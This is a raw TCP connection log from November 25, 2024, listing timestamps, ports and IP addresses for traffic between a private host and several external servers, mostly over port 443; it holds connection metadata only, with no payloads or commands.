Nov 25, 2024 12:07:09.085149050 CET	443	49708	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:09.089745045 CET	49708	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:09.098727942 CET	49708	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:09.098764896 CET	443	49708	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:09.098828077 CET	49708	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:09.098839045 CET	443	49708	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:09.973763943 CET	443	49708	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:09.974033117 CET	443	49708	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:09.974035978 CET	49708	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:09.974093914 CET	49708	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:10.382911921 CET	49709	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:10.382956982 CET	443	49709	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:10.383023024 CET	49709	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:10.383308887 CET	49709	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:10.383322001 CET	443	49709	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:11.643178940 CET	443	49709	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:11.643331051 CET	49709	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:11.645090103 CET	49709	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:11.645102978 CET	443	49709	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:11.645314932 CET	443	49709	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:11.646884918 CET	49709	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:11.646949053 CET	49709	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:11.646955013 CET	443	49709	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:12.663072109 CET	443	49709	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:12.663336992 CET	49709	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:12.663347006 CET	443	49709	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:12.663393974 CET	49709	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:12.860449076 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:12.860512972 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:12.860605955 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:12.869317055 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:12.869329929 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:13.168709040 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:13.168760061 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:13.168828964 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:13.169331074 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:13.169342041 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.478796959 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.478907108 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.480431080 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.480441093 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.480748892 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.482184887 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.482932091 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.482969046 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.483067036 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.483097076 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.483198881 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.483228922 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.483886003 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.483918905 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.484045029 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.484059095 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.484196901 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.484211922 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.484219074 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.484347105 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.484364033 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.527338028 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.527498960 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.527528048 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.527554989 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.571336031 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.571504116 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.571538925 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.571563005 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.615343094 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.615449905 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:14.642472029 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:14.642585039 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:14.659332037 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:14.676486015 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:14.676507950 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:14.676887989 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:14.721195936 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:14.844253063 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:16.546504974 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:16.591340065 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:17.123409033 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:17.123440981 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:17.123450041 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:17.123533010 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:17.123544931 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:17.123595953 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:17.123605967 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:17.123615980 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:17.123632908 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:17.123663902 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:17.142683029 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:17.142759085 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:17.142772913 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:17.142786026 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:17.142822981 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:17.223941088 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:17.223982096 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:17.224050999 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:17.224447966 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:17.224464893 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:18.483395100 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:18.483427048 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:18.483441114 CET	49710	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:18.483448982 CET	443	49710	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:18.763786077 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:18.764045954 CET	443	49711	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:18.764053106 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:18.764110088 CET	49711	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:18.844337940 CET	49716	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:18.844383955 CET	443	49716	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:18.844456911 CET	49716	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:18.844793081 CET	49716	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:18.844806910 CET	443	49716	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:18.951586962 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:18.951699018 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:18.954272985 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:18.954282999 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:18.954654932 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:18.962795973 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.007332087 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.420507908 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.420571089 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.420617104 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.420675039 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.420695066 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.420734882 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.420736074 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.599203110 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.599284887 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.599370956 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.599396944 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.599411011 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.599443913 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.643585920 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.643610001 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.643685102 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.643699884 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.643732071 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.643750906 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.772736073 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.772764921 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.772818089 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.772835970 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.772975922 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.810975075 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.810998917 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.811091900 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.811105013 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.812381029 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.832222939 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.832246065 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.832346916 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.832360029 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.836221933 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.950788021 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.950820923 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.950865030 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.950890064 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.950911999 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.950934887 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.965755939 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.965780973 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.965862036 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.965883017 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.966206074 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.982650042 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.982671976 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.982817888 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.982817888 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.982831955 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.982875109 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.998830080 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.998852968 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.998943090 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:19.998955965 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:19.999913931 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.013128996 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.013151884 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.013242960 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.013266087 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.014214039 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.030229092 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.030252934 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.030333042 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.030352116 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.030395031 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.108334064 CET	443	49716	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:20.108464956 CET	49716	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:20.109981060 CET	49716	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:20.109996080 CET	443	49716	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:20.110327959 CET	443	49716	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:20.118462086 CET	49716	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:20.118484974 CET	49716	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:20.118555069 CET	443	49716	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:20.149625063 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.149652004 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.149874926 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.149924994 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.150089025 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.155144930 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.155227900 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.155234098 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.155335903 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.155370951 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.155388117 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.155402899 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.155412912 CET	49715	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.155416965 CET	443	49715	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.235625982 CET	49718	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.235722065 CET	443	49718	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.235853910 CET	49718	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.236242056 CET	49719	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.236299992 CET	443	49719	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.236370087 CET	49719	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.237560034 CET	49720	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.237612963 CET	443	49720	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.237699032 CET	49720	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.238373041 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.238425016 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.238487959 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.238749981 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.238769054 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.238893032 CET	49718	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.238930941 CET	443	49718	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.239267111 CET	49719	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.239284039 CET	443	49719	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.240113974 CET	49722	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.240124941 CET	443	49722	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.240242004 CET	49722	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.240263939 CET	49720	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.240281105 CET	443	49720	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:20.240400076 CET	49722	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:20.240413904 CET	443	49722	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:21.103797913 CET	443	49716	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:21.104054928 CET	443	49716	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:21.104119062 CET	49716	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:21.106862068 CET	49716	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:21.106883049 CET	443	49716	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:21.106894970 CET	49716	443	192.168.2.5	172.67.155.47
Nov 25, 2024 12:07:21.106905937 CET	443	49716	172.67.155.47	192.168.2.5
Nov 25, 2024 12:07:21.114255905 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:21.235013962 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:21.235109091 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:21.235270977 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:21.354809046 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:21.955044031 CET	443	49719	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:21.955723047 CET	49719	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:21.955741882 CET	443	49719	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:21.957442999 CET	49719	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:21.957449913 CET	443	49719	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:21.959496021 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:21.960150957 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:21.960170984 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:21.960763931 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:21.960768938 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.023554087 CET	443	49722	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.024172068 CET	49722	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.024199963 CET	443	49722	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.024776936 CET	49722	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.024782896 CET	443	49722	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.025126934 CET	443	49718	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.025403976 CET	49718	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.025420904 CET	443	49718	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.025928974 CET	49718	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.025935888 CET	443	49718	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.036133051 CET	443	49720	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.036432981 CET	49720	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.036448956 CET	443	49720	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.036916018 CET	49720	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.036921024 CET	443	49720	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.394850969 CET	443	49719	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.394876957 CET	443	49719	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.394983053 CET	49719	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.395006895 CET	443	49719	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.395056963 CET	49719	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.395271063 CET	49719	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.395277977 CET	443	49719	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.395291090 CET	49719	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.395474911 CET	443	49719	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.395518064 CET	443	49719	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.395574093 CET	49719	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.396567106 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.396641016 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.398142099 CET	49724	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.398183107 CET	443	49724	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.398195028 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.398238897 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.398255110 CET	49724	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.398263931 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.398279905 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.398286104 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.398464918 CET	49724	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.398480892 CET	443	49724	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.400501966 CET	49725	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.400594950 CET	443	49725	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.400696039 CET	49725	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.400856018 CET	49725	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.400904894 CET	443	49725	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.468717098 CET	443	49718	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.468801975 CET	443	49718	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.468939066 CET	49718	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.469661951 CET	49718	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.469700098 CET	443	49718	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.469722986 CET	49718	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.469737053 CET	443	49718	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.473351002 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.473377943 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.473472118 CET	443	49722	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.473474979 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.473496914 CET	443	49722	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.473557949 CET	49722	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.473581076 CET	443	49722	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.473654985 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.473670006 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.473742008 CET	49722	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.473756075 CET	443	49722	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.473767042 CET	49722	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.473915100 CET	443	49722	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.473946095 CET	443	49722	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.473997116 CET	49722	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.475831985 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.475861073 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.475939035 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.476083994 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.476099014 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.511739016 CET	443	49720	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.511770964 CET	443	49720	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.511894941 CET	49720	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.511907101 CET	443	49720	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.512278080 CET	49720	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.512341976 CET	49720	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.512346983 CET	443	49720	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.512367010 CET	49720	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.512578011 CET	443	49720	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.512610912 CET	443	49720	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.515201092 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.515216112 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.515245914 CET	49720	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.515305996 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.515492916 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:22.515506983 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:22.622523069 CET	80	49723	185.215.113.16	192.168.2.5
